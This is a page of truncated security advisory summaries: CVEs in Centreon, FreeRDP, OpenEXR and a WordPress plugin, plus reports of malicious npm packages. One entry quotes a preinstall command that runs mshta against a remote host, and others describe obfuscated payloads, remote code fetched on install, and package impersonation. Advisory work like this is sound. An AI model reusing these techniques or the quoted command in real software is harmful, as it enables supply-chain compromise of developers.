263285 matches found
CVE-2026-14453 A user with low privileges can inject SSTI templates that can lead to RCE in open-tickets
This vulnerability is a critical Server-Side Template Injection SSTI in Centreon's centreon-open-tickets module that leads to Remote Code Execution. The messageconfirm field is stored without sanitization and rendered via Smarty with no security policy enabled, allowing any authenticated user, to...
MAL-2026-10426 Malicious code in chai-log (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ffc5e8b4e25d2d7787eb9f3bb9607114e5e4290f0afe2350499b78d5f95642 [email protected] presents itself as a Mocha reporter mirroring the legitimate eth-gas-reporter project matching author name, README, and badges, but th...
Malicious code in chai-log (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ffc5e8b4e25d2d7787eb9f3bb9607114e5e4290f0afe2350499b78d5f95642 [email protected] presents itself as a Mocha reporter mirroring the legitimate eth-gas-reporter project matching author name, README, and badges, but th...
freerdp: FreeRDP: Out-of-bounds write in planar bitmap decoder allows arbitrary code execution
A flaw was found in FreeRDP, a free implementation of the Remote Desktop Protocol. The planar bitmap decoder contains an out-of-bounds heap write vulnerability when processing RLE planar data. A remote attacker could exploit this by providing specially crafted RLE planar data, leading to an...
MAL-2026-10420 Malicious code in path-addon-extend (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b383636076e2701a372675c281ee82463d97529ed7d8db027276aa8a8b68b966 path-addon-extend presents itself as a copy of Node's built-in path module. On module load, path.js issues an HTTPS GET to a base64-obscured URL that...
Malicious code in path-addon-extend (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b383636076e2701a372675c281ee82463d97529ed7d8db027276aa8a8b68b966 path-addon-extend presents itself as a copy of Node's built-in path module. On module load, path.js issues an HTTPS GET to a base64-obscured URL that...
MAL-2026-10412 Malicious code in env-stream (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d5d06b9a9a214d1e08fd459bd98442bad75e003177590786d876b948a7329f11 Package publishes under the name env-stream but its package.json homepage, README, log tag dotenv-flow@$version, exported API, and env/CLI prefixes...
MAL-2026-10417 Malicious code in minigptcore (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0 On npm install, the package's preinstall script preinstall.js invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and...
MAL-2026-10405 Malicious code in @torbeck/heap (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8f88862ffacb671bdaed8521274293d5ef20bafee0deb91cc38cd852daa6a7d @torbeck/heap impersonates the legitimate @datastructures-js/heap package: README.md line 1 reads @datastructures-js/heap, package.json sets...
Malicious code in @torbeck/heap (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8f88862ffacb671bdaed8521274293d5ef20bafee0deb91cc38cd852daa6a7d @torbeck/heap impersonates the legitimate @datastructures-js/heap package: README.md line 1 reads @datastructures-js/heap, package.json sets...
MAL-2026-10413 Malicious code in eth-base (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bcc98bc680f3d0b8c6dcf396d9f2425a5153658259014384cedf82698413755b The published lib/index.js contains 60KB of obfuscated JavaScript appended after a copy of the legitimate web3.js web3-core-subscriptions module. On...
Malicious code in eth-base (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bcc98bc680f3d0b8c6dcf396d9f2425a5153658259014384cedf82698413755b The published lib/index.js contains 60KB of obfuscated JavaScript appended after a copy of the legitimate web3.js web3-core-subscriptions module. On...
MAL-2026-10407 Malicious code in awesome-terminal (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 379d820ae94a1dd684c187fd2577558795440d8f8cd1fe3cd209c8eb5b303913 [email protected] ships a postinstall script scripts/install-check.cjs that resolves a bundle URL from a remote JSON config at...
MAL-2026-10406 Malicious code in async-chain-dom (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f2ce6eed4ea7607d2f12f602b43b354b91ceba4cabdc761f569c3e1dc29b6f6 On require, index.js spawns a detached, unref'd node lib/vcall.js child process. lib/vcall.js fetches JavaScript from...
MAL-2026-10408 Malicious code in chain-js-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1a928356b1418a88bc30f460c42b1d9f3050ca3e67deb674307269a8c752d1d8 The package impersonates pino ships pino's docs and headers, exports a pino alias but its actual runtime is an Express middleware factory in file.js...
MAL-2026-10411 Malicious code in cookie-sign (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ad03fe65b40f317c4f3dd1d4031b1ce3942432ccbb8d794c7b94c7de8566d0f The package presents itself as a cookie-signing / Express-middleware utility mimicking pino logger internals as cover, but its main entry spawns a...
iCagenda and Balbooa Forms Joomla Flaws Reportedly Exploited as Zero-Days
The U.S. Cybersecurity and Infrastructure Security Agency CISA has added two maximum-severity security flaws impacting iCagenda and Balbooa extensions for Joomla to its Known Exploited Vulnerabilities KEV catalog, following reports of zero-day exploitation in the wild. The vulnerabilities, both...
OpenEXR: OpenEXR: Arbitrary code execution via integer overflow in image resizing
A flaw was found in OpenEXR, an image storage format library for the motion picture industry. An integer overflow vulnerability exists in the ImageChannel::resize function, which can be triggered when processing a specially crafted OpenEXR image file through the OpenEXRUtil public API. This can...
WordPress Simple File List <=4.2.2 - Remote Code Execution
An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint ee-upload-engine.php restricts file uploads based on extension, but lacks proper validatio...
